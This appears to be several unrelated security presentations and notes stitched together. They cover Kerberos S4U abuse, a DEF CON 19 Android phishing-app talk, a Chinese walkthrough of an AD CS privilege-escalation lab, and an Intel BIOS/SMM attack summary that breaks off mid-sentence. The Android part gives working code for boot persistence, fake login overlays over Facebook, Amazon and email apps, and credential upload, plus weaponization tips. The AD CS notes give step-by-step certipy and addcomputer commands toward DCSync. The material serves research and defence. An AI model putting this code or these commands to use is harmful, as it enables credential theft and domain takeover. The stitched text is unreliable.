ATEAM/TESTSERVICE 的 票(ticket 1) 使用 USER01 的 TGT,通过 TGS-REQ 配合 S4U2Proxy 协议 并带上 ticket 1,以 Administrator 名义申请一张委派 到 TGS 服务的票(ticket 2) AS-REQ AS-REP ticket 0 TGS-REQ TGS-REP ticket 1 TGS-REQ TGS-REP ticket 2 • 一张能以 Administrator 的名义访问 TGS 服务的票,就是 Administrator 的 “TGT” • 我们通过了普通账号 USER01 拿回了 Administrator (可以是域内任何用 户) 的 TGT。 GOLDEN TICKET 依赖 KRBTGT KEY 欺骗域内任何 使用 Kerberos 认证的服务 冒充域内任何用户 攻击者手动伪造任意用户 TGT,冒充任 意用户 依赖 S4U2SELF + S4U2PROXY 获取任意用户 TGT,冒充任意用户 欺骗域内任何 使用 Kerberos 认证的服务 冒充域内任何用户 变种GOLDEN TICKET 特性滥用 360 A-TEAM n1nty @
pdf
DEF CON 19: This is REALLY not the Droid you’re looking for… Nicholas J. Percoco – Trustwave’s SpiderLabs Sean Schulte – Trustwave’s SSL Team Copyright Trustwave 2011 Agenda •  Introductions •  Primer / History: Android Platform Development •  Mobile User Interface DOs and DON’Ts •  Research Motivations •  Research Implications •  Demo •  How it Works: Technical Deep Dive •  Conclusions Copyright Trustwave 2011 Introductions Who are we? Nicholas J. Percoco (c7five) •  Head of SpiderLabs at Trustwave •  Started my InfoSec career in the 90s Sean Schulte (sirsean) •  SSL Team at Trustwave •  Backend Developer (Java & Ruby) Copyright Trustwave 2011 Introductions What’s this talk about? Part II of last year’s talk… •  Focused on Kernel Level Rootkit for Android OS •  Raised awareness on the risks and implications •  Did NOT touch on anything in userland… Copyright Trustwave 2011 Introductions What’s this talk about? This year… •  We focused 100% on the userland •  What “tricks” we could play using available APIs? •  Explored what Google allowed developers to do •  Discovered a Layer-7 “0day” in the process… Copyright Trustwave 2011 Primer / History: Android Platform Dev What is the Android OS? •  Android is a software stack for mobile devices that includes an operating system, middleware and key applications. •  The applications consists of Java apps running on the Dalvik VM. •  The middleware is made of C libraries including SQLite, OpenGL, WebKit, etc. •  The kernel is Linux. Source:  Google Copyright Trustwave 2011 Primer / History: Android Platform Dev How has Android evolved? -  Donut / Éclair (XX%) -  Revamped UI (introduced slide-from-right animation between different applications) -  Froyo (XX%) -  Performance improvements, Wifi tethering, Flash -  Gingerbread (XX%) -  Refined UI … No carrier cooperation, little uptake -  Honeycomb (XX%) -  Closed source, tablet-only Copyright Trustwave 2011 Primer / History: Android Platform Dev How does Google release Android updates? •  Closed development inside Google •  Source drop at the time of binary release (sometimes later, or never) •  Clean, stock Android installed on “Google Experience” devices (Nexus One, Nexus S, G2) •  Indefinite (lengthy) waiting period while carriers and OEMs add their customization layers •  Carriers have little incentive to update phones they’ve already sold, so that rarely happens •  New agreement that carriers will support phones for 18 months … yet to see how that works out Copyright Trustwave 2011 Primer / History: Android Platform Dev What is the Android Market? •  An online software store owned by Google •  Access the Market by using the Android Market app •  Or the Android Market website, which can remotely install apps on your phone •  Currently over 200K apps available for download •  Google does NOT review apps that are submitted •  Google can remove BAD apps from the market •  also a user’s device Copyright Trustwave 2011 Primer / History: Android Platform Dev What are some Android development terms? •  Activities •  Basic unit of Android apps, these are user-facing screens •  Intents •  A bundle of data that apps can respond to •  Services •  Long running processes, no UI •  Notifications •  Standardized way of getting the user’s attention •  Icon appears in the top left, allows you to get more info by opening the notifications drawer Copyright Trustwave 2011 Mobile User Interface DOs and DON’Ts •  Three areas of focus: Simple Consistent Getting User’s Attention Copyright Trustwave 2011 Mobile User Interface DOs and DON’Ts •  Simple •  User are using your app to do one thing •  Each Activity should have a focused purpose •  This Activity should be immediately apparent Copyright Trustwave 2011 Mobile User Interface DOs and DON’Ts •  Consistent •  Re-use Activities from other apps •  They’ll provide familiar functionality •  You don’t need to re-invent the wheel (poorly) Copyright Trustwave 2011 Mobile User Interface DOs and DON’Ts •  Consistent •  Don’t override the BACK button •  Google’s OWN advice, but screws up their OWN apps •  For example, Google Voice: Copyright Trustwave 2011 Mobile User Interface DOs and DON’Ts •  Getting User’s Attention •  Use a Notification •  Never display an Activity that a user DIDN’T request •  Never display an Activity that a user DIDN’T request •  Never display an Activity that a user DIDN’T request •  Never display an Activity that a user DIDN’T request •  Never display an Activity that a user DIDN’T request •  Never display an Activity that a user DIDN’T request Of course, this is just a BEST PRACTICE, right? Android lets us do what ever we like… Copyright Trustwave 2011 Research Motivations •  Initially a side effect of other research •  See: “Getting SSLizzard” •  A lot of security research focuses on “breaking” •  INPUT = MALICIOUS then OUTPUT = BAD •  What can we do by “building” using GOOD tools? •  INPUT = GOOD then OUTPUT = BAD? •  Mobile often sacrifices security for screen size •  How far can we push the user? Copyright Trustwave 2011 Research Implications Consider the following: •  An attacker builds an App using approved APIs •  Submits App to a public app market •  App is approved (immediately) and available for download •  User downloads App •  App steals credentials from popular Apps: •  Banking, Social Networking, Shopping, VPN, etc. •  Users do NOT suspect issues with their devices Copyright Trustwave 2011 Demo •  What you’ll see: •  We’ll play with “Bantha Pudu” •  We’ll then use some popular apps •  Our credentials will be stolen and sent to a remote server •  We’ll submit “Bantha Pudu” to the Android Market •  It will be crippled so as not to upload credentials •  You can download it and try it out Copyright Trustwave 2011 How it Works: Technical Deep Dive •  Step 1: Register a Service  <service android:name=".ImportantSystemService" android:label="Important System Service"> <intent-filter> <action android:name="org.android.ImportantSystemService" /> </intent-filter> </service> Copyright Trustwave 2011 How it Works: Technical Deep Dive •  Step 2: Keep the Service Running •  Even through a Reboot <receiver android:name=".receiver.StartImportantSystemServiceAtBootReceiver" android:enabled="true" android:exported="true" android:label="StartImportantSystemServiceAtBootReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> public void onReceive(Context context, Intent intent) { if ("android.intent.action.BOOT_COMPLETED".equals(intent.getAction())) { Intent serviceIntent = new Intent("org.android.ImportantSystemService"); context.startService(serviceIntent); } } Copyright Trustwave 2011 How it Works: Technical Deep Dive •  Step 3: Define the App you want to attack mVictims.put("com.android.email", EmailLogin.class); mVictims.put("com.facebook.katana", FacebookLogin.class); mVictims.put("com.amazon.mShop.android", AmazonShopLogin.class); mVictims.put("com.google.android.apps.googlevoice", GoogleVoiceLogin.class); Copyright Trustwave 2011 How it Works: Technical Deep Dive •  Step 4: Poll for Foreground Apps mTimer.scheduleAtFixedRate(new TimerTask() { @Override public void run() { ActivityManager activityManager = (ActivityManager) getSystemService( Context.ACTIVITY_SERVICE ); List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses(); for(RunningAppProcessInfo appProcess : appProcesses){ if (appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { if (mVictims.containsKey(appProcess.processName)) { Intent dialogIntent = new Intent(getBaseContext(), mVictims.get(appProcess.processName)); dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplication().startActivity(dialogIntent); } } } } }, DELAY, INTERVAL); Copyright Trustwave 2011 How it Works: Technical Deep Dive •  Step 5: Create Activity for Each Target App •  Note their use of Title Bar / No Title Bar requestWindowFeature(Window.FEATURE_CUSTOM_TITLE); getWindow().setFeatureInt( Window.FEATURE_CUSTOM_TITLE, R.layout.login_victim1_title_bar); requestWindowFeature(Window.FEATURE_NO_TITLE); Copyright Trustwave 2011 How it Works: Technical Deep Dive •  Step 6: Override the BACK Button @Override public void onBackPressed() { moveTaskToBack(true); } When  they  click  the  back  bu5on,  we  want  to go  away  and  put  them  right  back  into  the app  they’d  been  in  before  we  took  over. Copyright Trustwave 2011 How it Works: Technical Deep Dive •  Step 7: Send Credentials to External Server •  Upload using a different thread Intent serviceIntent = new Intent("org.android.intent.action.ADD_CREDENTIALS"); serviceIntent.putExtra("appName", "Facebook"); serviceIntent.putExtra("username", username); serviceIntent.putExtra("password", password); sendBroadcast(serviceIntent); @Override public void onReceive(Context context, Intent intent) { final TelephonyManager tm = (TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE); String appName = intent.getStringExtra("appName"); if (appName != null) { String username = intent.getStringExtra("username"); String password = intent.getStringExtra("password"); sendCredentials(tm.getDeviceId(), appName, username, password); } } Copyright Trustwave 2011 How it Works: Technical Deep Dive •  Step 8: Request the Necessary Permissions <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> Copyright Trustwave 2011 How it Works: Technical Deep Dive •  Step 9: Other Tips •  When setting up your (attacking) Activities, use “noHistory” so your login screens won’t show up in the app switcher •  android:noHistory="true" •  Some apps resize when the soft keyboard appears, and some don’t – you should behave the same way •  android:windowSoftInputMode="adjustResize" Copyright Trustwave 2011 How to Weaponize •  Randomly show on app startup, not every time •  Show login screen after they’ve been in the app for a while •  Check whether the supplied credentials work •  If they do, stop showing the login screen for that app •  Use one app as “dropper” for the malicious one •  Allow for “Service” app to be decoupled from the parent app Copyright Trustwave 2011 Conclusions •  Approved APIs can easily create malicious Apps •  Not restricting developers from making certain UI decisions is a DISASTER waiting to happen •  What can Google do? •  Take their Best Practices and ENFORCE them •  Restrict developers from taking over the foreground •  Use a specific visual animation when switching apps •  Make it different from intra-app screen changes •  Don’t allow developers to use this animation Copyright Trustwave 2011 Trustwave’s SpiderLabs® SpiderLabs is an elite team of ethical hackers at Trustwave advancing the security capabilities of leading businesses and organizations throughout the world. More Information: Web: https://www.trustwave.com/spiderlabs Blog: http://blog.spiderlabs.com Twitter: @SpiderLabs Questions?
pdf
2022/5/16 05:03 Evernote Export file:///C:/Users/jiushi/Desktop/Active Directory 域权限提升漏洞(CVE-2022-26963)漏洞复现.html 1/7 漏洞原理: 默认情况下,用户模板不易受到攻击。当我们根据用户模板请求证书时,用户帐户的用户主体名称 (UPN) 将嵌入可用于识别的 SAN 中。由于 UPN 必须是唯一的,而且我们通常无 法修改 UPN,因此我们无法利用此模板。此外,由于我们无法更改证书签名请求中的 SAN 值,因此我们无法通过指定其 UPN 来模拟其他用户。 但是,计算机帐户没有 UPN。机器模板不使用 UPN 进行身份验证,而是使用机器的 DNS 名称进行识别和身份验证。当通过机器模板为机器请求证书时,AD CS 将机器的 DNS 名 称嵌入到 SAN 中,然后用于身份验证。 利用条件: 拥有一个普通的域用户权限 目标安装了AD CS 利用过程: 1. 添加机器账户 2. 删除机器账户的SPN信息(ServicePrincipalName)[不清楚ServicePrincipalName无法修改DNSHostName],修改机器账户的DNSHostName 3. 用机器账户去申请证书,并获取Ntlm 4. DCSYNC 环境: 利用https://tryhackme.com/ 在线靶场连入openvpn进行利用 Domain:lunar.eruca.com DC:lundc.lunar.eruca.com CA Name:LUNAR-LUNDC-CA Domain User:thm pwd:Password1@ 准备工具: certipy impacket 需要将目标:域、域控、CA服务器主机名加入hosts 这里如果你的CA服务器主机名没写对会有问题,后面会说到 首先要获取CA的服务器主机名 certutil -config - -ping 利用certipy用域用户去申请签名,会返回用户的pfx。 certipy req 'lunar.eruca.com/thm:Password1@@lundc.eruca.com' -ca LUNAR-LUNDC-CA -template User 2022/5/16 05:03 Evernote Export file:///C:/Users/jiushi/Desktop/Active Directory 域权限提升漏洞(CVE-2022-26963)漏洞复现.html 2/7 利用certipy auth可以获取对应用户的ntlm certipy auth -pfx thm.pfx 可以使用用户的ntlm去getTGT获取凭证...(未复现,待补充) 利用addcomputer.py添加机器账户 addcomputer.py 'lunar.eruca.com/thm:Password1@' -method LDAPS -computer-name 'THMPC' -computer-pass 'Password1@' 靶场给的目标连接DC的方法是ssh上去,用的普通域用户(域用户不能直接登录DC,通过ssh或者其他的服务可以) 获取添加的机器用户信息 Get-ADComputer THMPC -properties DNSHostName,ServicePrincipalName 2022/5/16 05:03 Evernote Export file:///C:/Users/jiushi/Desktop/Active Directory 域权限提升漏洞(CVE-2022-26963)漏洞复现.html 3/7 清除SPN修改DNSHostName,否则添加DNSHostName出现以下错误 Set-ADComputer THMPC -ServicePrincipalName @{} Set-ADComputer THMPC -DnsHostName LUNDC.lunar.eruca.com 利用修改DNSHostName后的机器账户去申请证书,并获取Ntlm certipy req 'lunar.eruca.com/THMPC$:Password1@'@lundc.eruca.com -ca LUNAR-LUNDC-CA -template Machine certipy auth -pfx 'lundc.pfx' 2022/5/16 05:03 Evernote Export file:///C:/Users/jiushi/Desktop/Active Directory 域权限提升漏洞(CVE-2022-26963)漏洞复现.html 4/7 剩下的就是dcsync了 记录遇到的其他问题 CA服务器主机名不对时候利用certipy请求将出现以下错误 CA证书服务器被吊销出现 解决方法: windows CA :由于吊销服务器已脱机,吊销功能无法检查吊销。 2022/5/16 05:03 Evernote Export file:///C:/Users/jiushi/Desktop/Active Directory 域权限提升漏洞(CVE-2022-26963)漏洞复现.html 5/7 方法一:直接重启CA服务器问题解决 方法二:(网上方案) 吊销服务尝试启动,错误为RPC服务器未响应。 CMD运行:certutil.exe -setreg CA\LogLevel 利用PowerView_master/ADExplorer删除SPN信息并添加DNSHostName一直出现约束冲突的情况,但是确实是成功清除了SPN信息的 (当是用Set-ADComputer清除SPN信 息在进行设置DNSHostName就不会有这种错误) 2022/5/16 05:03 Evernote Export file:///C:/Users/jiushi/Desktop/Active Directory 域权限提升漏洞(CVE-2022-26963)漏洞复现.html 6/7 Set-ADComputer清除SPN信息后在用powerview/bloodyAD在设置DNSHostName就不会有问题 (推特上用ldapmoify修改的还没试) 推特上的原方法: 2022/5/16 05:03 Evernote Export file:///C:/Users/jiushi/Desktop/Active Directory 域权限提升漏洞(CVE-2022-26963)漏洞复现.html 7/7 在cs/webshell不知道CA服务器主机名怎么办? 利用certutil -dump -v可以不弹框获取 certutil -dump -v 只能靠赌了 一般是下面格式: DC-<CA>-<数字> 例如: YAYI-WIN-5CHMN9C4UES-CA YAYI-WIN-5CHMN9C4UES-CA-1 YAYI-WIN-5CHMN9C4UES-CA-2
pdf
Summary of Attacks Against BIOS and Secure Boot Yuriy Bulygin, John Loucaides, Andrew Furtak, Oleksandr Bazhaniuk, Alexander Matrosov Intel Security In The Beginning Was The Legacy BIOS.. Legacy BIOS 1. CPU Reset vector in BIOS ‟ROM‟ (Boot Block)  2. Basic CPU, chipset initialization  3. Initialize Cache-as-RAM, load and run from cache  4. Initialize DIMMs, create address map..  5. Enumerate PCIe devices..  6. Execute Option ROMs on expansion cards  7. Load and execute MBR  8. 2nd Stage Boot Loader  OS Loader  OS kernel Also Technical Note: UEFI BIOS vs. Legacy BIOS, Advantech Then World Moved to UEFI.. UEFI Boot From Secure Boot, Network Boot, Verified Boot, oh my and almost every publication on UEFI UEFI [Compliant] Firmware SEC Pre-EFI Init (PEI) Driver Exec Env (DXE) Boot Dev Select (BDS) Runtime / OS S-CRTM; Init caches/MTRRs; Cache-as-RAM (NEM); Recovery; TPM Init S-CRTM: Measure DXE/BDS Early CPU/PCH Init Memory (DIMMs, DRAM) Init, SMM Init Continue initialization of platform & devices Enum FV, dispatch drivers (network, I/O, service..) Produce Boot and Runtime Services Boot Manager (Select Boot Device) EFI Shell/Apps; OS Boot Loader(s) ExitBootServices. Minimal UEFI services (Variable) ACPI, UEFI SystemTable, SMBIOS table CPU Reset Signed BIOS Update & OS Secure Boot Hardware I/O Memory Network Graphics UEFI DXE Core / Dispatcher UEFI OS Loaders (winload.efi, winresume.efi) System Firmware (SEC/PEI) UEFI OROM UEFI Boot Loader Bootx64.efi Bootmgfw.efi Signed BIOS Update UEFI OROM UEFI App UEFI App DXE Driver DXE Driver OS Kernel / Early Launch Anti-Malware (ELAM) UEFI Secure Boot OS Driver OS Driver Windows 8 Secure Boot Attacks Against Both Of These.. BIOS Attack Surface: SPI Flash Protection System FW/BIOS SPI Flash Protection BIOS Update SMRAM Protection Hardware Config. SMI Handlers Secure Boot BIOS Settings (NVRAM, Variables) … SPI Flash Write Protection • Often still not properly enabled on many systems • SMM based write protection of entire BIOS region is often not used: BIOS_CONTROL[SMM_BWP] • If SPI Protected Ranges (mode agnostic) are used (defined by PR0- PR4 in SPI MMIO), they often don‟t cover entire BIOS & NVRAM • Some platforms use SPI device specific WP protection but only for boot block/startup code or SPI Flash descriptor region • Persistent BIOS Infection (used coreboot‟s flashrom on legacy BIOS) • Evil Maid Just Got Angrier: Why FDE with TPM is Not Secure on Many Systems • BIOS Chronomancy: Fixing the Static Root of Trust for Measurement • A Tale Of One Software Bypass Of Windows 8 Secure Boot • Mitigation: BIOS_CONTROL[SMM_BWP] = 1 and SPI PRx •chipsec_main --module common.bios_wp • Or Copernicus from MITRE SPI Flash (BIOS) Write Protection is Still a Problem Checking Manually.. Windows: RWEverything  Linux: setpci -s 00:1F.0 DC.B Better Way to Check If Your BIOS Is Write-Protected [*] running module: chipsec.modules.common.bios_wp [x][ ======================================================================= [x][ Module: BIOS Region Write Protection [x][ ======================================================================= [*] BIOS Control = 0x02 [05] SMM_BWP = 0 (SMM BIOS Write Protection) [04] TSS = 0 (Top Swap Status) [01] BLE = 1 (BIOS Lock Enable) [00] BIOSWE = 0 (BIOS Write Enable) [!] Enhanced SMM BIOS region write protection has not been enabled (SMM_BWP is not used) [*] BIOS Region: Base = 0x00500000, Limit = 0x007FFFFF SPI Protected Ranges ------------------------------------------------------------ PRx (offset) | Value | Base | Limit | WP? | RP? ------------------------------------------------------------ PR0 (74) | 87FF0780 | 00780000 | 007FF000 | 1 | 0 PR1 (78) | 00000000 | 00000000 | 00000000 | 0 | 0 PR2 (7C) | 00000000 | 00000000 | 00000000 | 0 | 0 PR3 (80) | 00000000 | 00000000 | 00000000 | 0 | 0 PR4 (84) | 00000000 | 00000000 | 00000000 | 0 | 0 [!] SPI protected ranges write-protect parts of BIOS region (other parts of BIOS can be modified) [!] BIOS should enable all available SMM based write protection mechanisms or configure SPI protected ranges to protect the entire BIOS region [-] FAILED: BIOS is NOT protected completely # chipsec_main.py --module common.bios_wp SPI Flash & BIOS Is Not Write Protected Demo (Insecure SPI Flash Protection) From Analytics, and Scalability, and UEFI Exploitation by Teddy Reed Patch attempts to enable BIOS write protection (sets BIOS_CONTROL[BLE]). Picked up by Subzero SPI Flash Write Protection • Some systems write-protect BIOS by disabling BIOS Write-Enable (BIOSWE) and setting BIOS Lock Enable (BLE) but don‟t use SMM based write-protection BIOS_CONTROL[SMM_BWP] • SMI event is generated when Update SW writes BIOSWE=1 • Possible attack against this configuration is to block SMI events • E.g. disable all chipset sources of SMI: clear SMI_EN[GBL_SMI_EN] if BIOS didn‟t lock SMI config: Setup for Failure: Defeating SecureBoot • Another variant is to disable specific TCO SMI source used for BIOSWE/BLE (clear SMI_EN[TCO_EN] if BIOS didn‟t lock TCO config.) • Mitigation: BIOS_CONTROL[SMM_BWP] = 1 and lock SMI config •chipsec_main --module common.bios_smi SMI Suppression Attack Variants Are All Required SMIs Enabled and Locked? [*] running module: chipsec.modules.common.bios_smi [x][ ======================================================================= [x][ Module: SMI Events Configuration [x][ ======================================================================= [-] SMM BIOS region write protection has not been enabled (SMM_BWP is not used) [*] PMBASE (ACPI I/O Base) = 0x0400 [*] SMI_EN (SMI Control and Enable) register [I/O port 0x430] = 0x00002033 [13] TCO_EN (TCO Enable) = 1 [00] GBL_SMI_EN (Global SMI Enable) = 1 [+] All required SMI events are enabled [*] TCOBASE (TCO I/O Base) = 0x0460 [*] TCO1_CNT (TCO1 Control) register [I/O port 0x468] = 0x1800 [12] TCO_LOCK = 1 [+] TCO SMI configuration is locked [*] GEN_PMCON_1 (General PM Config 1) register [BDF 0:31:0 + 0xA0] = 0x0A14 [04] SMI_LOCK = 1 [+] SMI events global configuration is locked [+] PASSED: All required SMI sources seem to be enabled and locked! SPI Flash Write Protection • Some BIOS rely on SPI Protected Range (PR0-PR4 registers in SPI MMIO) to provide write protection of regions of SPI Flash • SPI Flash Controller configuration including PRx has to be locked down by BIOS via Flash Lockdown • If BIOS doesn‟t lock SPI Controller configuration (by setting FLOCKDN bit in HSFSTS SPI MMIO register), malware can disable SPI protected ranges re-enabling write access to SPI Flash •chipsec_main --module common.spi_lock Locking SPI Flash Configuration Is SPI Flash Configuration Locked? [+] imported chipsec.modules.common.spi_lock [x][ ======================================================================= [x][ Module: SPI Flash Controller Configuration Lock [x][ ======================================================================= [*] HSFSTS register = 0x0004E008 FLOCKDN = 1 [+] PASSED: SPI Flash Controller configuration is locked BIOS Attack Surface: BIOS Update System FW/BIOS SPI Flash Protection BIOS Update SMRAM Protection Hardware Config. SMI Handlers Secure Boot BIOS Settings (NVRAM, Variables) … Legacy BIOS Update and Secure Boot • Mebromi malware includes BIOS infector & MBR bootkit components • Patches BIOS ROM binary injecting malicious ISA Option ROM with legitimate BIOS image mod utility • Triggers SW SMI 0x29/0x2F to erase SPI flash then write patched BIOS binary Signed BIOS Updates Are Rare • No concept of Secure or Verified Boot • Wonder why TDL4 and likes flourished? No Signature Checks of OS boot loaders (MBR) UEFI BIOS Update Problems • Unsigned sections within BIOS update (e.g. boot splash logo BMP image) • BIOS displayed the logo before SPI Flash write- protection was enabled • EDK ConvertBmpToGopBlt() integer overflow followed by memory corruption during DXE while parsing BMP image • Copy loop overwrote #PF handler and triggered #PF • Attacking Intel BIOS Parsing of Unsigned BMP Image in UEFI FW Update Binary UEFI BIOS Update Problems • Legacy BIOS with signed BIOS update • OS schedules BIOS update placing new BIOS image in DRAM split into RBU packets • Upon reboot, BIOS Update SMI Handler reconstructs BIOS image from RBU packets in SMRAM and verifies signature • Buffer overflow (memcpy with controlled size/dest/src) when copying RBU packet to a buffer with reconstructed BIOS image • BIOS Chronomancy: Fixing the Core Root of Trust for Measurement • Defeating Signed BIOS Enforcement RBU Packet Parsing Vulnerability BIOS Attack Surface: SMRAM Protection System FW/BIOS SPI Flash Protection BIOS Update SMRAM Protection Hardware Config. SMI Handlers Secure Boot BIOS Settings (NVRAM, Variables) … Problems With HW Configuration/Protections • D_LCK bit locks down Compatible SMM space (a.k.a. CSEG) configuration (SMRAMC) • SMRAMC[D_OPEN]=0 forces access to legacy SMM space decode to system bus rather than to DRAM where SMI handlers are when CPU is not in System Management Mode (SMM) • When D_LCK is not set by BIOS, SMM space decode can be changed to open access to CSEG when CPU is not in SMM: Using CPU SMM to Circumvent OS Security Functions • Also Using SMM For Other Purposes • chipsec_main –-module common.smm Unlocked Compatible/Legacy SMRAM Compatible SMM Space: Normal Decode 0xBFFFF Compatible SMRAM (CSEG) SMM access to CSEG is decoded to DRAM, non-SMM access is sent to system bus 0xA0000 Non SMM access SMRAMC [D_LCK] = 1 SMRAMC [D_OPEN] = 0 Compatible SMM Space: Unlocked 0xBFFFF Compatible SMRAM (CSEG) Non-SMM access to CSEG is decoded to DRAM where SMI handlers can be modified 0xA0000 Non SMM access SMRAMC [D_LCK] = 0 SMRAMC [D_OPEN] = 1 Is Compatible SMRAM Locked? [+] imported chipsec.modules.common.smm [x][ ================================================================= [x][ Module: SMM memory (SMRAM) Lock [x][ ================================================================= [*] SMRAM register = 0x1A ( D_LCK = 1, D_OPEN = 0 ) [+] PASSED: SMRAM is locked Problems With HW Configuration/Protections • CPU executes from cache if memory type is cacheable • Ring0 exploit can make SMRAM cacheable (variable MTRR) • Ring0 exploit can then populate cache-lines at SMBASE with SMI exploit code (ex. modify SMBASE) and trigger SMI • CPU upon entering SMM will execute SMI exploit from cache • Attacking SMM Memory via Intel Cache Poisoning • Getting Into the SMRAM: SMM Reloaded • CPU System Management Range Registers (SMRR) forcing UC and blocking access to SMRAM when CPU is not in SMM • BIOS has to enable SMRR • chipsec_main –-module common.smrr SMRAM “Cache Poisoning” Attacks Is SMRAM Exposed To Cache Poisoning Attack? [*] running module: chipsec.modules.common.smrr [x][ ======================================================================= [x][ Module: CPU SMM Cache Poisoning / SMM Range Registers (SMRR) [x][ ======================================================================= [+] OK. SMRR are supported in IA32_MTRRCAP_MSR [*] Checking SMRR Base programming.. [*] IA32_SMRR_BASE_MSR = 0x00000000BD000006 BASE = 0xBD000000 MEMTYPE = 6 [+] SMRR Memtype is WB [+] OK so far. SMRR Base is programmed [*] Checking SMRR Mask programming.. [*] IA32_SMRR_MASK_MSR = 0x00000000FF800800 MASK = 0xFF800000 VLD = 1 [+] OK so far. SMRR are enabled in SMRR_MASK MSR [*] Verifying that SMRR_BASE/MASK have the same values on all logical CPUs.. [CPU0] SMRR_BASE = 00000000BD000006, SMRR_MASK = 00000000FF800800 [CPU1] SMRR_BASE = 00000000BD000006, SMRR_MASK = 00000000FF800800 [CPU2] SMRR_BASE = 00000000BD000006, SMRR_MASK = 00000000FF800800 [CPU3] SMRR_BASE = 00000000BD000006, SMRR_MASK = 00000000FF800800 [+] OK so far. SMRR MSRs match on all CPUs [+] PASSED: SMRR protection against cache attack seems properly configured Problems With HW Configuration/Protections • Remap Window is used to reclaim DRAM range below 4Gb “lost” for Low MMIO • Defined by REMAPBASE/REMAPLIMIT registers in Memory Controller PCIe config. space • MC remaps Reclaim Window access to DRAM below 4GB (above “Top Of Low DRAM”) • If not locked, OS malware can reprogram target of reclaim to overlap with SMRAM (or something else) • Preventing & Detecting Xen Hypervisor Subversions • BIOS has to lock down Memory Map registers including REMAP*, TOLUD/TOUUD • chipsec_main --module remap SMRAM Memory Remapping/Reclaim Attack Memory Remapping: Normal Memory Map Memory Reclaim/Remap Range Low MMIO Range TOLUD 4GB SMRAM REMAPBASE REMAPLIMIT Access is remapped to DRAM range „lost‟ to MMIO (memory reclaimed) Access Memory Remapping: SMRAM Remapping Attack Memory Reclaim/Remap Range Low MMIO Range TOLUD 4GB SMRAM REMAPBASE REMAPLIMIT Target range of memory reclaim changed to SMRAM Access Is Memory Remapping Attack Possible? [*] running module: chipsec.modules.remap [x][ ======================================================================= [x][ Module: Memory Remapping Configuration [x][ ======================================================================= [*] Registers: [*] TOUUD : 0x000000013E000001 [*] REMAPLIMIT: 0x000000013DF00001 [*] REMAPBASE : 0x0000000100000001 [*] TOLUD : 0xBFA00001 [*] TSEGMB : 0xBD000001 [*] Memory Map: [*] Top Of Upper Memory: 0x000000013E000000 [*] Remap Limit Address: 0x000000013DFFFFFF [*] Remap Base Address : 0x0000000100000000 [*] 4GB : 0x0000000100000000 [*] Top Of Low Memory : 0x00000000BFA00000 [*] TSEG (SMRAM) Base : 0x00000000BD000000 [*] checking locks.. [+] TOUUD is locked [+] TOLUD is locked [+] REMAPBASE and REMAPLIMIT are locked [*] checking alignment.. [+] All REMAP*/TOUUD/TOLUD addresses are 1MB aligned [*] checking remap programming.. [*] Memory Remap is enabled [+] Remap window is programmed correctly: 4GB <= REMAPBASE <= REMAPLIMIT [+] PASSED: Memory Remap is configured correctly and locked Problems With HW Configuration/Protections • If BIOS doesn‟t lock down memory config, boundary separating DRAM and MMIO (TOLUD) can be moved somewhere else. E.g. malware can move it below SMRAM to make SMRAM decode as MMIO • Graphics Aperture can then be overlapped with SMRAM and used to redirect MMIO access to memory range defined by PTE entries in Graphics Translation Table (GTT) • When CPU accesses protected SMRAM range to execute SMI handler, access is redirected to unprotected memory range somewhere else in DRAM • Similarly to Remapping Attack, BIOS has to lock down HW memory configuration (i.e. TOLUD) to mitigate this attack • System Management Mode Design and Security Issues (GART) SMRAM Redirection via Graphics Aperture SMRAM Access in SMM : Normal Memory Map Low MMIO Range TOLUD 4GB SMRAM CPU executes instructions (mov) from SMRAM normally mov ebx,imm32 Code fetch at SMBASE in SMM Graphics Aperture GTT MMIO Access to GFx Aperture GFx Memory Access to GFx aperture (MMIO) is redirected to GFx DRAM range per GTT PTEs GTT PTEs SMRAM Access in SMM : Redirection Attack Low MMIO Range TOLUD 4GB SMRAM CPU executes instructions from fake SMRAM redirected to by MMIO GFx Aperture per malicious GTT PTEs mov ebx,imm32 Code fetch at SMBASE in SMM Graphics Aperture GTT MMIO GFx Memory Fake SMRAM GTT PTEs Problems With HW Configuration/Protections • SMRAM has to be protected from DMA Attack • Protection from inbound DMA access is guaranteed by programming TSEG range • When BIOS doesn‟t lock down TSEG range configuration, malware can move TSEG outside of where actual SMRAM is • Then program one of DMA capable devices (e.g. GPU device) or Graphics Aperture to access SMRAM • Programmed I/O accesses: a threat to Virtual Machine Monitors? • System Management Mode Design and Security Issues • BIOS has to lock down configuration required to define range protecting SMRAM from inbound DMA access (e.g. TSEG range) • chipsec_main --module smm_dma DMA/GFx Aperture Attacks Against SMRAM DMA Access to SMRAM: Normal Memory Map Low MMIO Range TOLUD 4GB SMRAM DMA access to SMRAM is blocked due to TSEG covering SMRAM TSEG Base GFx Mem Base DMA Access to SMRAM: DMA Attacks Low MMIO Range TOLUD 4GB SMRAM DMA access to SMRAM is not blocked as TSEG Base moved Graphics Aperture GTT MMIO Access to GFx Aperture is redirected to SMRAM TSEG Base GFx Mem Base GTT PTEs Is SMRAM Protected From DMA Attacks? [*] running module: chipsec.modules.smm_dma [x][ ======================================================================= [x][ Module: SMRAM DMA Protection [x][ ======================================================================= [*] Registers: [*] TOLUD : 0xBFA00001 [*] BGSM : 0xBD800001 [*] TSEGMB : 0xBD000001 [*] SMRR_BASE: 0x00000000BD000006 [*] SMRR_MASK: 0x00000000FF800800 [*] Memory Map: [*] Top Of Low Memory : 0xBFA00000 [*] TSEG Range (TSEGMB-BGSM): [0xBD000000-0xBD7FFFFF] [*] SMRR Range : [0xBD000000-0xBD7FFFFF] [*] checking locks.. [+] TSEGMB is locked [+] BGSM is locked [*] checking TSEG covers entire SMRR range.. [+] TSEG covers entire SMRAM [+] PASSED: TSEG is properly configured. SMRAM is protected from DMA attacks BIOS Attack Surface: Hardware Configuration System FW/BIOS SPI Flash Protection BIOS Update SMRAM Protection Hardware Config. SMI Handlers Secure Boot BIOS Settings (NVRAM, Variables) … Problems With HW Configuration/Protections • “Top Swap” mode allows fault-tolerant update of the BIOS boot-block • Enabled by BUC[TS] in Root Complex MMIO range • Chipset inverts A16 line (A16-A20 